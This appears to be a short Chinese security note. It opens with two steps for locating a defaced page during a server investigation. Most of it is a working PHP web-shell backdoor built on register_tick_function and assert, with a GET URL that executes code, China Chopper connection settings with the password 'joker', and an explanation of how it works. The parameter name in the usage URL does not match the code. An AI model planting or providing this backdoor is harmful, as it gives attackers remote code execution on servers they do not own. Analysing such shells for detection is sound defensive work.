审查代码
1、先找到黑页所在目录,观察同层级的其他文件命名和修改时间,选中可疑文件审计代码
2、没有新的发现,就去目录查找,根据最后的修改时间排查。
<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['joker']);
?>
浏览器GET提交:http://www.xxx.com/10.php?e=assert&settoken=phpinfo();即可执行phpinfo();
菜刀连接用法: http://www.xxx.com/10.php?e=assert
密码:joker
详解:register_tick_function函数必须要和declare流程控制机制合并使用,那么就先了解一下declare和tick:Tick 是一个在 declare 代码段中解释器每执行 N 条低级语句就会发生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 来指定的。在每个 tick 中出现的事件是由 register_tick_function() 来指定的。也就是说当ticks=1,每执行1行代码,就需要运行一次我们传过来的assert()函数,$_REQUEST['joker']是参数
这样就构成了assert($_REQUEST['joker']) ,直接用菜刀链接一句话木马即可